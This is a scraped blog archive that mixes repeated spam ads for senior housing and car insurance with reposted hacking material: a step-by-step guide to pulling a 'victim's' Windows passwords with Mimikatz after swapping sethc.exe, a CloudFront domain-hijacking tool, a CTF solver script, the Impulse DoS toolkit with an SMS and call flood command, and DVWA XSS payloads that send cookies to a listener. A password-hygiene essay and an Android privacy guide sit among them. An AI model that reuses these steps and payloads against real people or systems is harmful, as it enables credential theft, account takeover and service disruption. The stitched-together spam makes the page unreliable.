Princess of Persia

Life is unpredictable...It doesnt announce itself...It just happens...You cant control what happens...You can only live it...One moment at a time...And smile...For the moment...

Thursday, April 30, 2020

Apartments designed for seniors starting at Rs.90 Lac*

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Antara: Residences for Seniors

After the success for Dehradun, Antara is Now in Noida, Sector-150

Experience a new Urban Life, on your own terms:

• Senior - Specific Design Feature

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• 24*7 Resident Services Team

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Treat yourself to a sweet deal

Save up to 70% on Car Insurance with us. Keep your car protected from theft, damage and more. ‌

Treat yourself to a sweet deal

Save up to 70% on Car Insurance with us. Keep your car protected from theft, damage and more. ‌

Wednesday, April 29, 2020

Treat yourself to a sweet deal

Save up to 70% on Car Insurance with us. Keep your car protected from theft, damage and more. ‌

Tuesday, April 28, 2020

Live life on your own terms at Antara Noida, Residences for Seniors

with easy connectivity and convenient location ‌

Antara: Residences for Seniors

After the success for Dehradun, Antara is Now in Noida, Sector-150

Experience a new Urban Life, on your own terms:

• Senior - Specific Design Feature

• Fully - Finished Apartments

• Curated Resident Engagement Activities

• 24*7 Resident Services Team

• Proactive and Preventive Healthcare Services

• Prime Location and Easy Connectivity in Low Density Sector

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Sunday, April 26, 2020

Cracking Windows 8/8.1 Passwords With Mimikatz



You Might have read my previous posts about how to remove windows passwords using chntpw and might be thinking why am I writing another tutorial to do the same thing! Well today we are not going to remove the windows user password rather we are going to be more stealth in that we are not going to remove it rather we are going to know what is the users password and access his/her account with his/her own password. Sounds nice...


Requirements:


  1. A live bootable linux OS (I'm using Kali Linux)(Download Kali Linux)
  2. Mimikatz (Download | Blog)
  3. Physical Access to victim's machine
  4. A Working Brain in that Big Head (Download Here)



Steps:

1. First of all download mimikatz and put it in a pendrive.

2. Boat the victim's PC with your live bootable Pendrive (Kali Linux on pendrive in my case). And open a terminal window

3. Mount the Volume/Drive on which windows 8/8.1 is installed by typing these commands
in the terminal window:

mkdir /media/win
ntfs-3g /dev/sda1 /media/win

[NOTE] ntfs-3g is used to mount an NTFS drive in Read/Write mode otherwise you might not be able to write on the drive. Also /dev/sda1 is the name of the drive on which Windows OS is installed, to list your drives you can use lsblk -l or fdisk -l. The third flag is the location where the drive will be mounted.

4. Now navigate to the System32 folder using the following command

cd /media/win/Windows/System32

5. After navigating to the System32 rename the sethc.exe file to sethc.exe.bak by typing the following command:

mv sethc.exe sethc.exe.bak

sethc.exe is a windows program which runs automatically after shift-key is pressed more than 5 times continuously.

6. Now copy the cmd.exe program to sethc.exe replacing the original sethc.exe program using this command:

cp cmd.exe sethc.exe

[Note] We made a backup of sethc.exe program so that we can restore the original sethc.exe functionality

7. With this, we are done with the hard part of the hack now lets reboot the system and boot our Victim's Windows 8/8.1 OS.

8. After reaching the Windows Login Screen plugin the usb device with mimikatz on it and hit shift-key continuously five or more times. It will bring up a command prompt like this





9. Now navigate to your usb drive in my case its drive G:




10. Now navigate to the proper version of mimikatz binary folder (Win32 for32bit windows and x64 for 64 bit windows)


11. Run mimikatz and type the following commands one after the other in sequence:

privilege::debug
token::elevate
vault::list

the first command enables debug mode
the second one elevates the privilages
the last one lists the passwords which include picture password and pin (if set by the user)









That's it you got the password and everything else needed to log into the system. No more breaking and mess making its simple its easy and best of all its not Noisy lol...

Hope you enjoyed the tutorial have fun :)

Related word


CloudFrunt - A Tool For Identifying Misconfigured CloudFront Domains


CloudFrunt is a tool for identifying misconfigured CloudFront domains.

Background
CloudFront is a Content Delivery Network (CDN) provided by Amazon Web Services (AWS). CloudFront users create "distributions" that serve content from specific sources (an S3 bucket, for example).
Each CloudFront distribution has a unique endpoint for users to point their DNS records to (ex. d111111abcdef8.cloudfront.net). All of the domains using a specific distribution need to be listed in the "Alternate Domain Names (CNAMEs)" field in the options for that distribution.
When a CloudFront endpoint receives a request, it does NOT automatically serve content from the corresponding distribution. Instead, CloudFront uses the HOST header of the request to determine which distribution to use. This means two things:

  1. If the HOST header does not match an entry in the "Alternate Domain Names (CNAMEs)" field of the intended distribution, the request will fail.
  2. Any other distribution that contains the specific domain in the HOST header will receive the request and respond to it normally.
This is what allows the domains to be hijacked. There are many cases where a CloudFront user fails to list all the necessary domains that might be received in the HOST header. For example:
  • The domain "test.disloops.com" is a CNAME record that points to "disloops.com".
  • The "disloops.com" domain is set up to use a CloudFront distribution.
  • Because "test.disloops.com" was not added to the "Alternate Domain Names (CNAMEs)" field for the distribution, requests to "test.disloops.com" will fail.
  • Another user can create a CloudFront distribution and add "test.disloops.com" to the "Alternate Domain Names (CNAMEs)" field to hijack the domain.
This means that the unique endpoint that CloudFront binds to a single distribution is effectively meaningless. A request to one specific CloudFront subdomain is not limited to the distribution it is associated with.

Installation
$ pip install boto3
$ pip install netaddr
$ pip install dnspython
$ git clone https://github.com/disloops/cloudfrunt.git
$ cd cloudfrunt
$ git clone https://github.com/darkoperator/dnsrecon.git
CloudFrunt expects the dnsrecon script to be cloned into a subdirectory called dnsrecon.

Usage
cloudfrunt.py [-h] [-l TARGET_FILE] [-d DOMAINS] [-o ORIGIN] [-i ORIGIN_ID] [-s] [-N]

-h, --help Show this message and exit
-s, --save Save the results to results.txt
-N, --no-dns Do not use dnsrecon to expand scope
-l, --target-file TARGET_FILE File containing a list of domains (one per line)
-d, --domains DOMAINS Comma-separated list of domains to scan
-o, --origin ORIGIN Add vulnerable domains to new distributions with this origin
-i, --origin-id ORIGIN_ID The origin ID to use with new distributions

Example
$ python cloudfrunt.py -o cloudfrunt.com.s3-website-us-east-1.amazonaws.com -i S3-cloudfrunt -l list.txt

CloudFrunt v1.0.3

[+] Enumerating DNS entries for google.com
[-] No issues found for google.com

[+] Enumerating DNS entries for disloops.com
[+] Found CloudFront domain --> cdn.disloops.com
[+] Found CloudFront domain --> test.disloops.com
[-] Potentially misconfigured CloudFront domains:
[#] --> test.disloops.com
[+] Created new CloudFront distribution EXBC12DE3F45G
[+] Added test.disloops.com to CloudFront distribution EXBC12DE3F45G


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Saturday, April 25, 2020

Defcon 2015 Coding Skillz 1 Writeup

Just connecting to the service, a 64bit cpu registers dump is received, and so does several binary code as you can see:



The registers represent an initial cpu state, and we have to reply with the registers result of the binary code execution. This must be automated becouse of the 10 seconds server socket timeout.

The exploit is quite simple, we have to set the cpu registers to this values, execute the code and get resulting registers.

In python we created two structures for the initial state and the ending state.

cpuRegs = {'rax':'','rbx':'','rcx':'','rdx':'','rsi':'','rdi':'','r8':'','r9':'','r10':'','r11':'','r12':'','r13':'','r14':'','r15':''}
finalRegs = {'rax':'','rbx':'','rcx':'','rdx':'','rsi':'','rdi':'','r8':'','r9':'','r10':'','r11':'','r12':'','r13':'','r14':'','r15':''}

We inject at the beginning several movs for setting the initial state:

for r in cpuRegs.keys():
    code.append('mov %s, %s' % (r, cpuRegs[r]))

The 64bit compilation of the movs and the binary code, but changing the last ret instruction by a sigtrap "int 3"
We compile with nasm in this way:

os.popen('nasm -f elf64 code.asm')
os.popen('ld -o code code.o ')

And use GDB to execute the code until the sigtrap, and then get the registers

fd = os.popen("gdb code -ex 'r' -ex 'i r' -ex 'quit'",'r')
for l in fd.readlines():
    for x in finalRegs.keys():
           ...

We just parse the registers and send the to the server in the same format, and got the key.


The code:

from libcookie import *
from asm import *
import os
import sys

host = 'catwestern_631d7907670909fc4df2defc13f2057c.quals.shallweplayaga.me'
port = 9999

cpuRegs = {'rax':'','rbx':'','rcx':'','rdx':'','rsi':'','rdi':'','r8':'','r9':'','r10':'','r11':'','r12':'','r13':'','r14':'','r15':''}
finalRegs = {'rax':'','rbx':'','rcx':'','rdx':'','rsi':'','rdi':'','r8':'','r9':'','r10':'','r11':'','r12':'','r13':'','r14':'','r15':''}
fregs = 15

s = Sock(TCP)
s.timeout = 999
s.connect(host,port)

data = s.readUntil('bytes:')


#data = s.read(sz)
#data = s.readAll()

sz = 0

for r in data.split('\n'):
    for rk in cpuRegs.keys():
        if r.startswith(rk):
            cpuRegs[rk] = r.split('=')[1]

    if 'bytes' in r:
        sz = int(r.split(' ')[3])



binary = data[-sz:]
code = []

print '[',binary,']'
print 'given size:',sz,'bin size:',len(binary)        
print cpuRegs


for r in cpuRegs.keys():
    code.append('mov %s, %s' % (r, cpuRegs[r]))


#print code

fd = open('code.asm','w')
fd.write('\n'.join(code)+'\n')
fd.close()
Capstone().dump('x86','64',binary,'code.asm')

print 'Compilando ...'
os.popen('nasm -f elf64 code.asm')
os.popen('ld -o code code.o ')

print 'Ejecutando ...'
fd = os.popen("gdb code -ex 'r' -ex 'i r' -ex 'quit'",'r')
for l in fd.readlines():
    for x in finalRegs.keys():
        if x in l:
            l = l.replace('\t',' ')
            try:
                i = 12
                spl = l.split(' ')
                if spl[i] == '':
                    i+=1
                print 'reg: ',x
                finalRegs[x] = l.split(' ')[i].split('\t')[0]
            except:
                print 'err: '+l
            fregs -= 1
            if fregs == 0:
                #print 'sending regs ...'
                #print finalRegs
                
                buff = []
                for k in finalRegs.keys():
                    buff.append('%s=%s' % (k,finalRegs[k]))


                print '\n'.join(buff)+'\n'

                print s.readAll()
                s.write('\n'.join(buff)+'\n\n\n')
                print 'waiting flag ....'
                print s.readAll()

                print '----- yeah? -----'
                s.close()
                



fd.close()
s.close()





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Impulse - Impulse Denial-of-service ToolKit


Modern Denial-of-service ToolKit

Main window


Methods:
MethodTargetDescription
SMS+PHONESMS & CALL FLOOD
NTPIP:PORTNTP amplification is a type of Distributed Denial of Service (DDoS) attack in which the attacker exploits publically-accessible Network Time Protocol (NTP) servers to overwhelm the targeted with User Datagram Protocol (UDP) traffic.
SYNIP:PORTA SYN flood (half-open attack) is a type of denial-of-service (DDoS) attack which aims to make a server unavailable to legitimate traffic by consuming all available server resources.
TCPIP:PORTWhat is a SYN flood attack. TCP SYN flood (a.k.a. SYN flood) is a type of Distributed Denial of Service (DDoS) attack that exploits part of the normal TCP three-way handshake to consume resources on the targeted server and render it unresponsive.
UDPIP:PORTA UDP flood is a type of denial-of-service attack in which a large number of User Datagram Protocol (UDP) packets are sent to a targeted server with the aim of overwhelming that device's ability to process and respond. The firewall protecting the targeted server can also become exhausted as a result of UDP flooding, resulting in a denial-of-service to legitimate traffic.
POD (Ping of Death)IPPing of Death (a.k.a. PoD) is a type of Denial of Service (DoS) attack in which an attacker attempts to crash, destabilize, or freeze the targeted computer or service by sending malformed or oversized packets using a simple ping command.
HTTPURLHTTP Flood is a type of Distributed Denial of Service (DDoS) attack in which the attacker manipulates HTTP and POST unwanted requests in order to attack a web server or application. These attacks often use interconnected computers that have been taken over with the aid of malware such as Trojan Horses.
SlowlorisIP:PORTSlowloris is a denial-of-service attack program which allows an attacker to overwhelm a targeted server by opening and maintaining many simultaneous HTTP connections between the attacker and the target.
MemcachedIP:PORTA memcached distributed denial-of-service (DDoS) attack is a type of cyber attack in which an attacker attempts to overload a targeted victim with internet traffic. The attacker spoofs requests to a vulnerable UDP memcached* server, which then floods a targeted victim with internet traffic, potentially overwhelming the victim's resources. While the target's internet infrastructure is overloaded, new requests cannot be processed and regular traffic is unable to access the internet resource, resulting in denial-of-service.

Installation:
  • Windows:
    • Download Python 3.6 from here
    • Launch installer, click add python to PATH
    • Download Impulse
    • Open cmd or powershell in Impulse directory
    • Run this command: pip install -r requirements.txt
    • And this: python impulse.py --help
  • Linux/Termux:
    • sudo apt update
    • sudo apt install python python-pip git -y
    • git clone https://github.com/LimerBoy/Impulse
    • cd Impulse/
    • pip install -r requirements.txt
    • python impulse.py --help

Example SMS & Call flood:
python impulse.py --method SMS --target +XXXXXXXXXXXX --time 20 --threads 2





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Friday, April 24, 2020

How To Bind Payload Any Software Using Shellter

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Thursday, April 23, 2020

Change Passwords Regularly - A Myth And A Lie, Don'T Be Fooled, Part 2

In the previous blog post, I have covered the different passwords you have to protect, the attackers and attack methods. Now let's look at how we want to solve the issue.

Password requirements

So far we have learned we have to use long, complex, true random passwords. In theory, this is easy.
Now, this is my password advice for 2014:

Password character classes
Use upper-lower-digit-special characters in general cases.
If you don't understand what I just write, choose from this:
qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM0123456789-=[];'\,./<>?:"|{}_+!@#$%^&* ()`~
If you are a CISO, and say: use 3 out of 4 character class, everyone will use Password12 or Welcome12 as their password (after the 12th enforced password change).

Password length
This is basically the only thing which changes whether the password is in the very high/high/medium/low level. Check the previous blog post for the details about very high/high/medium/low level.

Password length: Very high level class (including work-related/enterprise passwords)
15 character (or 20 if you are really paranoid). Making true random passwords longer than 20 characters usually does not make any sense, even in high security scenarios (e.g. military, spy agencies, etc.). 15 character in Windows environment is a right choice, as LM hash is incompatible with 15 character passwords, thus one (effective) attack won't work. Beware, there might be bugs with using 15 character passwords, with a low probability.

Password length: High-level class
12 character, upper-lower-special characters

Password length: Medium class
10 character, upper-lower-special characters, still TRUE random

Password length: Low-level class
9 character. Why less?

Pin codes
Always choose the longest provided, but a maximum of 8. Usually, more is pretty impractical.

Password randomness
True random, generated by a (local) computer. Avoid Debian. Avoid random generated by your brain. Do not use l33tsp33k. Do not append or prepend the current month, season or year to a word. Do not use Star Wars/Star Trek/(your favorite movie/series here) characters or terminology. In general, avoid any pattern like the above ones. The chances that a true random password generator generates SkyWalker12 is very-very low. And believe me, it is not that hard to crack those. Every algorithm that you would come up with; the bad guys have already thought of it. Use true random. Let the computer do it for you. See details later in this post.

Password history
Never-ever reuse passwords. NEVER!

Password change period
If it is not enforced otherwise, don't bother to change it twice in a year. But! Check if the password cracking speed made your current ones obsolete. If yes, change the obsolete passwords. Immediately change the password if you have been notified that the service you use has been compromised. Immediately change all of your recently used passwords if you suspect malware was running on your computer (do this on a known clean computer). Immediately change your password if you have used it on a computer you don't own, or there is a small chance malware is running on it. Change it if you really had to give your password to someone. Otherwise, goodbye regular password change. We will miss you...

If you are a CISO, and writing security policies, you should have to enforce the password change period based on: do you allow LM hashes? What is the password length requirement for users and administrators? What is the current hash cracking speed, and the forecast for the next 2 years? I think people would be happy to increase their passwords with 1-2 characters, if they are not forced to change it frequently (e.g. every month).
Now after I was sooo smart giving advises people still hate to implement, let's see the practical implementations. At least some people might like me, because I told them not to change the passwords regularly. Next time someone tells you to change all your important passwords regularly, put a lie detector on him, and check if he changes all of his passwords regularly. If he lies, feel free to use the wrench algorithm to crack his passwords. If he was not lying, call 911, to put a straitjacket on him. Only insane paranoid people do that in reality. Others are just too scared to say "what everyone recommended so far is bullshit". Comments are welcome ;) Other people might hate me for telling them using true random passwords. Don't panic, keep reading.
And don't forget to use 2 factor authentication. It might seem a bit of an overkill at the beginning, but after months, you won't notice using it.

(Bad and good) solutions

I will use the same password everywhere

This is a pretty bad idea. If one of the passwords are compromised, either the attackers can access your other sites, or you have to change all of your passwords. There are better ways to spend your life on earth than changing all of your passwords.

I will remember it

Good luck remembering 250 different, complex passwords. Don't forget to change them regularly! ;)

I will use the password recovery all the time

Not a very user-friendly solution. And because the security answer has to be as complicated as the password itself, the problem has not been solved.

I will write it down into my super-secret notebook and put it in my drawer

Although it might work in some cases, it won't work in others. I don't recommend it.





I will use an algorithm, like a base password, and add the websites first letters to the end of the password

Still better than using the same password everywhere, but believe me, if this is a targeted attack, it is not that hard to guess your password generation algorithm.

I will use the advice from XKCD, and use the password correcthorsebatterystaple

Still a lot better than simple passwords, but unfortunately, people are still bad at choosing random words with random order, so it is not the best solution. And again, you can't memorize 250 different passwords ... Even 10 is impossible. Only use this method in special corner cases (see details later), and use a passphrase generator!

I will use a password manager

This is the very first good idea. It solves the problem of remembering 250 different complex and random passwords. Some people might complain about using a password manager, here are those complaints. And my answers:

If someone gets access to this one password store, all is lost.
Answer: If someone accessed your password store, and the master password, you can be pretty damn sure that most of your passwords are already stolen. For extra paranoids, you can use multiple password stores, one for daily use, one for rare cases. Beware not to forget the password for the second one ;)

What if I don't have access to the password store when I need it?
Answer: In the age of cheap notebooks, tablets, and smartphones, in 99% of the cases you should not use that important password on any other device than yours. In the rare cases when you must, you can use either your smartphone to get the password, or use a browser extension like Password hasher to generate different passwords to different websites, with one password. For extra paranoids, you can have different master passwords for the different security levels. And don't forget to change the password after you are back at your own computer.

What if I forgot the one password to the password store?
Answer: If you use your password manager daily, it has the same odds to forget that one password as it is to forget every one of your passwords.

Password managers make phishing attacks easier.
Answer: Who started this nonsense? Good password managers decrease the risk of phishing.

Password managers have the same vulnerabilities as other websites or software.
Answer: Well, this is partially true. There are at least 3 types of password managers, from most secure to least: offline, browser built-in, online. Online password managers give better user experience, with a sacrifice in security. But if you choose one of the leading password managers, and you are a simple home user, the risks are negligible. If you try to store your work password in an online password store, you might violate your internal security policy. For paranoids, use offline password managers, and back them up regularly. If you choose an online password manager, at least use 2-factor authentication. And don't forget, your Chrome password can be easily synchronized to the cloud, shifting it to the online category.

In some cases, like Full Disc Encryption, OS login, smartphone login, or password manager login, the auto-type of password from the password manager is not available, thus choosing a true random password is a pain in the a$$.
Answer: True. Generate pronounceable passwords or passphrases in these corner cases, e.g. with the Linux tool apg you can generate pronounceable passwords. For easy and fast type, don't use capital letters (only lower-alpha - digit - special) in the original password, but increase the length of the password. Add 1 extra character because you don't use upper case letters, add 3 other because it is a pronounceable password, and you are good to go. For extra paranoids change one or two of the letters to uppercase where it is convenient. 
apg -M SNL -m 15 is your friend.
If you want to check what I write here (always a good idea), test the entropy of a true random 10 character password with all character classes, and check it with 14 characters, without uppercase. I recommend KeePass for that. If you comment on this that "Keepass can not measure that it is a pronounceable password, thus the entropy is lower in reality", my answer is: "Check out the current passwords used by users, and current password advises, and tell me if this password is a lot better or not ..." . You have been warned.
 

For the high-level password class, I don't recommend anything your brain generated. There are also suitable offline passphrase generators. Use at least 5-6 words for passphrases.

Password managers are not user-friendly, it takes more time to log in.
Answer: If you set auto-type/auto-fill, and the password manager is opened once a day (and you lock your computer when you leave it), in this case, logging in takes less time than typing it! It is more convenient to use it, rather than typing the passwords every time.

I like to create new unique passwords every time I create a new account, and password managers take the fun away from it.
Answer: Said no one, ever! "38 percent of people think it sounds more appealing to tackle household chores – from folding the laundry to scrubbing toilets – than to try and come up with another new user name or password."

To summarize things. Use a password manager.

General advise

Never use your essential passwords on other computers. They might be infected with a password stealer. If you really have to use it, change the password as soon as possible on a trusted (your) computer.

Don't fool yourself by phishing sites. If you go to the local flea market, and there is a strange looking guy with "Superbank deposit here" logo above his head, will you put your money?

Protect yourself against malware. Use a recent operating system, and even if you use OSX or Linux, it is not a bad thing to have an AV as a "last line of defense". Or to check your pendrive for Windows USB worms.

Never-ever use online web sites to "generate your password", "measure the complexity of your password" or "check if it has been breached". Never! (Except if it is your password manager :) ... )

Update: Sign up on the https://haveibeenpwned.com/ for notification if your e-mail is found in a leak.

Changing passwords frequently is bad advice. It is not effective. Put more energy in other right password advise. 
Related posts

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• Senior - Specific Design Feature

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• 24*7 Resident Services Team

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Memcrashed DDoS Exploit | Install | Github

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Wednesday, April 22, 2020

How To Protect Your Private Data From Android Apps

protect-private-data-from-apps
In android there is lots of personal data that can be accessed by any unauthorized apps that were installed on the device. This is just because your Android data is openly saved in your file explorer that is not encrypted or protected by encryption method, so, even normal app can also hijack your data very easily as the media access permissions are granted when you click on accept button while installing the apps. And this may be endangering the private data that you might not want to share with anyone. So here we have a cool way that will help you to make your data private by disallowing the apps to access your media files without your permission. So have a look on complete guide discussed below to proceed.

How To Protect Your Private Data From Android Apps

The method is quite simple and just need a rooted android device that will allow the Xposed installer to run on the device. And after having the Xposed installer you will be using an Xposed module to disallow the apps to have access to your personal or say private data. For this follow the guide below.

Steps To Protect Your Private Data From Android Apps:

Step 1. First of all, you need a rooted android as Xposed installer can only be installed on a rooted android, so Root your android to proceed for having superuser access on your android.
Step 2. After rooting your Android device you have to install the Xposed installer on your android and thats quite lengthy process and for that, you can proceed with our Guide to Install Xposed Installer On Android.Xposed Installer
Step 3. Now after having an Xposed framework on your Android the only thing you need is the Xposed module that is DonkeyGuard – Security Management the app that will allow you to manage the media access for apps installed on your device.
Step 4. Now install the app on your device and after that, you need to activate the module in the Xposed installer. Now you need to reboot your device to make the module work perfectly on your device.
Step 5. Now launch the app and you will see all the apps that are currently installed on your device.
privacy 1
Step 6. Now edit the media permission for the apps that you don't want to have access to your media with private data.privacy 2
That's it, you are done! now the app will disallow the media access to that apps.

Manually Checking App Permission

Well, our Android operating system offers a nice feature in which we can manage a single app's permission. However, you need to have Android 6.0 Marshmallow or a newer version to get the option.
Step 1. First of all, open Settings and then tap on 'Apps'.
Manually Checking App Permission
Manually Checking App Permission
Step 2. Now you will see the list of apps that are currently installed on your Android smartphone. Now you need to select the app, and then you will see 'Permissions.'
Manually Checking App Permission
Manually Checking App Permission
Step 3. Now it will open a new window, which will show you all permissions that you have granted to the app like Camera access, contacts, Location, microphone, etc. You can revoke any permissions as per your wish.
Manually Checking App Permission
Manually Checking App Permission
Well, the same thing you need to perform if you feel that you have installed some suspicious app on your Android. By this way, you can protect your private data from Android apps.

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Learning Web Pentesting With DVWA Part 4: XSS (Cross Site Scripting)

In this article we are going to solve the Cross-Site Scripting Attack (XSS) challenges of DVWA app. Lets start by understanding what XSS attacks are. OWASP defines XSS as: "Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it.
An attacker can use XSS to send a malicious script to an unsuspecting user. The end user's browser has no way to know that the script should not be trusted, and will execute the script. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by the browser and used with that site. These scripts can even rewrite the content of the HTML page."
XSS attacks are usually used to steal user cookies which let attackers control the victim's account or to deface a website. The severity of this attack depends on what type of account is compromised by the attacker. If it is a normal user account, the impact may not be that much but if it is an admin account it could lead to compromise of the whole app or even the servers.

DOM, Sources, and Sinks:

DVWA has three types of XSS challenges. We'll describe them as we go through them in this article. But before we go about to solve these challenges we need to understand few things about a browser. We need to know what Document Object Model (DOM) is and what are sources & sinks. DOM is used by browsers as a hierarchical representation of elements in the webpage. Wikipedia defines DOM as "a cross-platform and language-independent interface that treats an XML or HTML document as a tree structure wherein each node is an object representing a part of the document. The DOM represents a document with a logical tree". A source can be described simply as input that a user supplies. And a sink can be defined as "potentially dangerous JavaScript function or DOM object that can cause undesirable effects if attacker-controlled data is passed to it". Javascript function eval() is an example of a sink.

DOM Based XSS:

Now lets solve our first XSS challenge which is a DOM based XSS challenge. DOM based XSS occurs when sources are passed to sinks without proper validation. An attacker passes specifically crafted input to the sink to cause undesirable effects to the web app.
"Fundamentally, DOM-based vulnerabilities arise when a website passes data from a source to a sink, which then handles the data in an unsafe way in the context of the client's session."
On the DVWA app click on XSS (DOM), you will be presented with a page like this:
Keep an eye over the URL of the page. Now select a language and click the Select button. The URL should look like this now:
http://localhost:9000/vulnerabilities/xss_d/?default=English
We are making a GET request to the server and sending a default parameter with the language that we select. This default parameter is the source and the server is passing this source to the sink directly without any validation. Now lets try to exploit this vulnerability by changing the URL to this:
http://localhost:9000/vulnerabilities/xss_d/?default=<script>alert(XSS)</script>
When we hit enter after modifying the URL in the URL bar of the browser we should see an alert box popup with XSS written on it. This proves that the app is passing the data from source to sink without any validation now its time that we steal some cookies. Open another terminal or tab and setup a simple http server using python3 like this:
python3 -m http.server
By default the python http server runs on port 8000. Now lets modify the URL to steal the session cookies:
http://localhost:9000/vulnerabilities/xss_d/?default=<script>new Image().src="http://localhost:8000/?c="+document.cookie;</script>
The payload we have used here is from the github repository Payload all the things. It is an awesome repository of payloads. In this script, we define a new image whose source will be our python http server and we are appending user cookies to this request with the help of document.cookie javascript function. As can be seen in the image we get a request from the page as soon as the page loads with our xss payload and can see user cookies being passed with the request. That's it we have stolen the user cookies.

Reflected XSS:

Another type of XSS attack is called Reflected XSS Attack. OWASP describes Reflected XSS as those attacks "where the injected script is reflected off the web server, such as in an error message, search result, or any other response that includes some or all of the input sent to the server as part of the request."
To perform this type of attack, click on XSS (Reflected) navigation link in DVWA. After you open the web page you are presented with an input field that asks you to input your name.
Now just type your name and click on submit button. You'll see a response from server which contains the input that you provided. This response from the server which contains the user input is called reflection. What if we submit some javascript code in the input field lets try this out:
<script>alert("XSS")</script>
After typing the above javascript code in the input field click submit. As soon as you hit submit you'll see a pop-up on the webpage which has XSS written on it. In order to steal some cookies you know what to do. Lets use another payload from payload all the things. Enter the code below in the input field and click submit:
<img src=x onerror=this.src="http://localhost:8000/?c="+document.cookie />
Here we are using img html tag and its onerror attribute to load our request. Since image x is not present on the sever it will run onerror javascipt function which performs a GET request to our python http server with user cookies. Like we did before.
Referencing OWASP again, it is mentioned that "Reflected attacks are delivered to victims via another route, such as in an e-mail message, or on some other website. When a user is tricked into clicking on a malicious link, submitting a specially crafted form, or even just browsing to a malicious site, the injected code travels to the vulnerable web site, which reflects the attack back to the user's browser. The browser then executes the code because it came from a "trusted" server. Reflected XSS is also sometimes referred to as Non-Persistent or Type-II XSS."
Obviously you'll need your super awesome social engineering skills to successfully execute this type of attack. But yeah we are good guys why would we do so?

Stored XSS:

The last type of XSS attack that we are going to see is Stored XSS Attack. OWASP describes Stored XSS attacks as those attacks "where the injected script is permanently stored on the target servers, such as in a database, in a message forum, visitor log, comment field, etc. The victim then retrieves the malicious script from the server when it requests the stored information. Stored XSS is also sometimes referred to as Persistent or Type-I XSS."
To perform this type of XSS attack, click on XSS (Stored) navigation link in DVWA. As the page loads, we see a Guestbook Signing form.
In this form we have to provide our name and message. This information (name and message) is being stored in a database. Lets go for a test spin. Type your name and some message in the input fields and then click Sign Guestbook. You should see your name and message reflected down below the form. Now what makes stored XSS different from reflected XSS is that the information is stored in the database and hence will persist. When you performed a reflected XSS attack, the information you provided in the input field faded away and wasn't stored anywhere but during that request. In a stored XSS however our information is stored in the database and we can see it every time we visit the particular page. If you navigate to some other page and then navigate back to the XSS (Stored) page you'll see that your name and message is still there, it isn't gone. Now lets try to submit some javascript in the message box. Enter a name in the name input field and enter this script in the message box:
<script>alert(XSS)</script>
When we click on the Sign Guestbook button, we get a XSS alert message.
Now when you try to write your cookie stealing payload you notice you cannot put your payload in the box as the maximum input length for the textarea is set to 50. To get rid of this restriction, right-click on the textarea box and click inspect. Change or delete the maxlength="50" attribute in code:
<textarea name="mtxMessage" cols="50" rows="3" maxlength="50"></textarea>
to something like this:
<textarea name="mtxMessage" cols="50" rows="3"></textarea>
And now use your payload to steal some cookies:
<img src=x onerror=this.src="http://localhost:8000/?c="+document.cookie />
Everytime a user visits this page you'll get his/her cookies (Sweet...). You don't need to send any links or try your super powerful social engineering skills to get user cookies. Your script is there in the database it will be loaded everytime a user visits this vulnerable page.
This is it for today see you next time.

References:

  1. DOM-based vulnerabilities: https://portswigger.net/web-security/dom-based
  2. DOM-based XSS: https://portswigger.net/web-security/cross-site-scripting/dom-based
  3. Document Object Model: https://en.wikipedia.org/wiki/Document_Object_Model
  4. Payload All the Things: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection
  5. Cross Site Scripting (XSS): https://owasp.org/www-community/attacks/xss/
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